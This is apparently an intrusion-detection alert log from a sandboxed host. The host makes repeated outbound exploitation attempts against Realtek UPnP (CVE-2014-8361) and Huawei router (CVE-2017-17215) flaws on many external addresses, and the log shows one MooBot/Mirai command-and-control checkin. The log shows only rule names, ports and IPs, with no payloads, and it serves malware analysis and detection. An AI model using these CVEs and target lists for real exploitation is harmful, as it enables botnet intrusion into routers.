07/20/24-23:01:13.333258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56938	52869	192.168.2.14	82.116.127.119
07/20/24-23:01:02.413580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36104	37215	192.168.2.14	157.31.140.76
07/20/24-23:01:25.343749	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45794	52869	192.168.2.14	211.77.142.174
07/20/24-23:01:13.332381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53004	52869	192.168.2.14	2.46.59.12
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51798	37215	192.168.2.14	186.175.120.220
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32778	37215	192.168.2.14	197.202.168.225
07/20/24-23:01:13.329800	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47598	52869	192.168.2.14	8.55.90.119
07/20/24-23:01:29.670786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55962	52869	192.168.2.14	142.63.99.254
07/20/24-23:01:34.980138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60208	52869	192.168.2.14	79.118.207.216
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46196	37215	192.168.2.14	41.154.146.172
07/20/24-23:01:25.283485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42134	52869	192.168.2.14	194.223.113.142
07/20/24-23:01:28.211361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39664	37215	192.168.2.14	203.69.127.147
07/20/24-23:01:33.081951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42928	37215	192.168.2.14	41.128.242.91
07/20/24-23:01:11.474688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40194	37215	192.168.2.14	157.196.0.117
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51366	37215	192.168.2.14	187.213.20.127
07/20/24-23:01:07.682290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47046	37215	192.168.2.14	197.145.165.222
07/20/24-23:01:33.065212	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45746	37215	192.168.2.14	157.3.246.123
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37652	37215	192.168.2.14	130.131.215.230
07/20/24-23:01:33.591597	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43896	52869	192.168.2.14	91.156.224.14
07/20/24-23:01:11.454991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37672	37215	192.168.2.14	157.172.117.241
07/20/24-23:01:34.909156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44968	52869	192.168.2.14	222.183.144.227
07/20/24-23:01:13.331147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45386	52869	192.168.2.14	165.240.21.199
07/20/24-23:01:25.502173	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54070	52869	192.168.2.14	1.52.127.148
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59466	37215	192.168.2.14	197.12.119.250
07/20/24-23:01:25.026082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59244	52869	192.168.2.14	176.163.228.117
07/20/24-23:01:13.333076	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41730	52869	192.168.2.14	117.199.176.147
07/20/24-23:01:34.945581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35964	52869	192.168.2.14	69.185.156.127
07/20/24-23:01:29.563395	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55074	52869	192.168.2.14	81.96.77.48
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45018	37215	192.168.2.14	50.0.188.147
07/20/24-23:01:24.093369	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45534	52869	192.168.2.14	97.239.211.144
07/20/24-23:01:13.332051	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40934	52869	192.168.2.14	123.243.178.81
07/20/24-23:01:14.487012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54024	37215	192.168.2.14	207.178.15.41
07/20/24-23:01:34.915141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38052	52869	192.168.2.14	39.157.230.122
07/20/24-23:01:25.484225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56500	52869	192.168.2.14	106.139.202.117
07/20/24-23:01:29.170017	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50208	52869	192.168.2.14	124.106.212.23
07/20/24-23:01:29.693794	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45684	52869	192.168.2.14	198.58.137.77
07/20/24-23:01:22.801376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54264	37215	192.168.2.14	41.206.191.212
07/20/24-23:01:29.172557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54266	52869	192.168.2.14	200.134.207.26
07/20/24-23:01:14.406961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47792	37215	192.168.2.14	41.64.20.138
07/20/24-23:01:28.184352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51694	37215	192.168.2.14	41.218.48.18
07/20/24-23:01:13.329423	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48140	52869	192.168.2.14	177.26.169.251
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57374	37215	192.168.2.14	5.183.215.180
07/20/24-23:01:06.348845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35828	52869	192.168.2.14	60.154.99.20
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56692	37215	192.168.2.14	41.116.209.33
07/20/24-23:01:07.683360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36400	37215	192.168.2.14	197.130.231.11
07/20/24-23:01:22.776061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48444	37215	192.168.2.14	41.218.123.179
07/20/24-23:01:34.899753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56970	52869	192.168.2.14	87.184.45.167
07/20/24-23:01:34.964842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58016	52869	192.168.2.14	183.15.201.247
07/20/24-23:01:02.440657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32874	37215	192.168.2.14	197.5.87.246
07/20/24-23:01:37.231056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36618	37215	192.168.2.14	197.59.41.138
07/20/24-23:01:19.221490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50800	37215	192.168.2.14	157.121.232.89
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51596	37215	192.168.2.14	175.88.111.112
07/20/24-23:01:28.183799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37648	37215	192.168.2.14	46.245.236.24
07/20/24-23:01:29.179619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60338	52869	192.168.2.14	43.140.238.166
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40424	37215	192.168.2.14	197.132.79.26
07/20/24-23:01:06.343371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36614	52869	192.168.2.14	58.141.211.31
07/20/24-23:01:29.182229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34864	52869	192.168.2.14	58.186.168.57
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35960	37215	192.168.2.14	112.133.158.101
07/20/24-23:01:29.170361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47582	52869	192.168.2.14	27.8.13.50
07/20/24-23:01:24.078416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46158	52869	192.168.2.14	186.224.19.191
07/20/24-23:01:13.330569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56976	52869	192.168.2.14	79.163.220.136
07/20/24-23:01:13.329009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39628	52869	192.168.2.14	101.71.112.133
07/20/24-23:01:14.397786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57088	37215	192.168.2.14	156.251.228.219
07/20/24-23:01:34.927043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53100	52869	192.168.2.14	178.14.114.28
07/20/24-23:01:02.440637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44376	37215	192.168.2.14	197.199.221.47
07/20/24-23:01:37.122115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54322	37215	192.168.2.14	157.160.22.239
07/20/24-23:01:34.907114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42378	52869	192.168.2.14	1.85.153.115
07/20/24-23:01:28.216939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48298	37215	192.168.2.14	158.37.247.254
07/20/24-23:01:19.220762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53518	37215	192.168.2.14	41.16.136.252
07/20/24-23:01:19.221962	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60376	37215	192.168.2.14	157.149.237.12
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48574	37215	192.168.2.14	41.126.220.250
07/20/24-23:01:01.784059	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	37548	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:34.914909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57470	52869	192.168.2.14	142.63.99.254
07/20/24-23:01:02.412791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54692	37215	192.168.2.14	197.37.177.219
07/20/24-23:01:13.335387	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37002	52869	192.168.2.14	40.156.155.77
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50664	37215	192.168.2.14	85.249.61.53
07/20/24-23:01:13.331580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55402	52869	192.168.2.14	194.147.115.196
07/20/24-23:01:06.150964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48016	52869	192.168.2.14	217.244.72.189
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51024	37215	192.168.2.14	197.198.171.240
07/20/24-23:01:14.406186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44172	37215	192.168.2.14	197.111.225.219
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57656	37215	192.168.2.14	200.240.232.128
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55686	37215	192.168.2.14	157.120.40.109
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49380	37215	192.168.2.14	174.128.37.204
07/20/24-23:01:19.221490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33374	37215	192.168.2.14	41.223.113.217
07/20/24-23:01:29.171040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39428	52869	192.168.2.14	197.254.135.133
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55566	37215	192.168.2.14	80.163.154.51
07/20/24-23:01:02.414687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59254	37215	192.168.2.14	152.71.212.76
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41978	37215	192.168.2.14	157.180.225.158
07/20/24-23:01:33.159213	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52504	52869	192.168.2.14	40.169.74.201
07/20/24-23:01:05.791886	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42764	52869	192.168.2.14	162.138.211.72
07/20/24-23:01:33.094838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40328	37215	192.168.2.14	197.35.100.147
07/20/24-23:01:13.332260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44518	52869	192.168.2.14	188.64.202.52
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60196	37215	192.168.2.14	41.97.200.193
07/20/24-23:01:24.075979	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49244	52869	192.168.2.14	189.144.99.123
07/20/24-23:01:29.185354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48490	52869	192.168.2.14	52.221.200.218
07/20/24-23:01:13.330519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43944	52869	192.168.2.14	162.138.211.72
07/20/24-23:01:29.567553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43538	52869	192.168.2.14	75.5.28.91
07/20/24-23:01:34.940230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50294	52869	192.168.2.14	44.203.11.143
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58610	37215	192.168.2.14	197.8.234.46
07/20/24-23:01:05.838650	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45678	52869	192.168.2.14	141.224.95.108
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43478	37215	192.168.2.14	157.112.178.52
07/20/24-23:01:29.175082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40484	52869	192.168.2.14	111.237.207.198
07/20/24-23:01:29.537701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55456	52869	192.168.2.14	87.184.45.167
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40646	37215	192.168.2.14	42.124.189.109
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57404	37215	192.168.2.14	41.68.136.32
07/20/24-23:01:34.899907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41680	52869	192.168.2.14	223.29.150.196
07/20/24-23:01:34.920034	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44438	52869	192.168.2.14	198.253.51.117
07/20/24-23:01:14.454899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49632	37215	192.168.2.14	157.38.206.56
07/20/24-23:01:06.227443	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44250	52869	192.168.2.14	47.67.168.49
07/20/24-23:01:22.804406	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38786	37215	192.168.2.14	197.130.49.5
07/20/24-23:01:28.182157	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57826	37215	192.168.2.14	197.5.244.222
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54620	37215	192.168.2.14	157.206.61.138
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57418	37215	192.168.2.14	41.212.179.177
07/20/24-23:01:14.397956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42496	37215	192.168.2.14	157.143.78.242
07/20/24-23:01:13.333893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39776	52869	192.168.2.14	147.24.204.167
07/20/24-23:01:34.942495	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55620	52869	192.168.2.14	160.160.84.223
07/20/24-23:01:22.783280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48636	37215	192.168.2.14	197.211.184.211
07/20/24-23:01:07.668439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50102	37215	192.168.2.14	207.12.253.202
07/20/24-23:01:34.945022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51246	52869	192.168.2.14	222.252.238.17
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33888	37215	192.168.2.14	41.171.70.30
07/20/24-23:01:07.682290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44808	37215	192.168.2.14	41.104.226.171
07/20/24-23:01:14.401003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49250	37215	192.168.2.14	41.213.216.231
07/20/24-23:01:29.175082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33652	52869	192.168.2.14	222.154.38.130
07/20/24-23:01:19.233507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35484	37215	192.168.2.14	41.217.234.179
07/20/24-23:01:14.400300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47980	37215	192.168.2.14	197.83.41.154
07/20/24-23:01:33.037346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48318	37215	192.168.2.14	197.110.196.75
07/20/24-23:01:13.332408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58112	52869	192.168.2.14	115.118.201.201
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41724	37215	192.168.2.14	205.190.70.16
07/20/24-23:01:14.400300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52432	37215	192.168.2.14	41.77.0.48
07/20/24-23:01:07.666600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50262	37215	192.168.2.14	157.87.213.70
07/20/24-23:01:05.901568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35886	37215	192.168.2.14	157.59.173.180
07/20/24-23:01:34.932468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38506	52869	192.168.2.14	206.125.101.194
07/20/24-23:01:13.331310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51646	52869	192.168.2.14	77.164.7.36
07/20/24-23:01:07.346484	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47988	52869	192.168.2.14	165.198.120.17
07/20/24-23:01:34.910408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51222	52869	192.168.2.14	45.184.153.75
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45266	37215	192.168.2.14	208.94.156.231
07/20/24-23:01:02.414851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42126	37215	192.168.2.14	41.27.117.169
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46630	37215	192.168.2.14	41.107.164.92
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42562	37215	192.168.2.14	41.5.49.247
07/20/24-23:01:25.230310	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47230	37215	192.168.2.14	197.164.205.158
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49572	37215	192.168.2.14	41.173.125.40
07/20/24-23:01:34.911249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48440	52869	192.168.2.14	77.70.6.175
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47388	37215	192.168.2.14	181.7.138.240
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49632	37215	192.168.2.14	41.231.162.190
07/20/24-23:01:22.785873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60462	37215	192.168.2.14	41.182.190.25
07/20/24-23:01:34.911761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47332	52869	192.168.2.14	70.48.172.224
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46134	37215	192.168.2.14	157.94.206.239
07/20/24-23:01:34.945580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35508	52869	192.168.2.14	220.47.15.117
07/20/24-23:01:28.142925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57468	37215	192.168.2.14	210.169.65.93
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38440	37215	192.168.2.14	197.101.245.95
07/20/24-23:01:06.641896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43714	52869	192.168.2.14	51.249.121.241
07/20/24-23:01:07.684133	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60174	37215	192.168.2.14	157.141.214.119
07/20/24-23:01:05.582077	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47482	52869	192.168.2.14	118.44.218.190
07/20/24-23:01:07.683360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45068	37215	192.168.2.14	41.59.243.36
07/20/24-23:01:02.440622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45974	37215	192.168.2.14	157.255.88.114
07/20/24-23:01:05.561402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48354	52869	192.168.2.14	5.217.173.216
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35134	37215	192.168.2.14	157.68.139.198
07/20/24-23:01:25.234700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40030	37215	192.168.2.14	111.101.129.102
07/20/24-23:01:33.294979	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33466	52869	192.168.2.14	76.246.195.163
07/20/24-23:01:13.329969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44222	52869	192.168.2.14	180.39.180.182
07/20/24-23:01:32.470001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56324	52869	192.168.2.14	183.15.201.247
07/20/24-23:01:22.796666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36884	37215	192.168.2.14	197.144.197.199
07/20/24-23:01:19.224550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42688	37215	192.168.2.14	197.195.33.153
07/20/24-23:01:37.124220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52052	37215	192.168.2.14	197.187.174.249
07/20/24-23:01:25.117603	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33056	52869	192.168.2.14	222.154.38.130
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39680	37215	192.168.2.14	157.102.88.79
07/20/24-23:01:14.472855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60162	37215	192.168.2.14	197.199.235.176
07/20/24-23:01:02.407178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55478	37215	192.168.2.14	197.196.31.171
07/20/24-23:01:25.234700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40462	37215	192.168.2.14	197.53.92.139
07/20/24-23:01:14.397142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52048	37215	192.168.2.14	41.104.186.186
07/20/24-23:01:33.567010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36664	52869	192.168.2.14	206.125.101.194
07/20/24-23:01:05.551661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60452	52869	192.168.2.14	91.209.91.142
07/20/24-23:01:07.672387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35926	37215	192.168.2.14	41.157.157.252
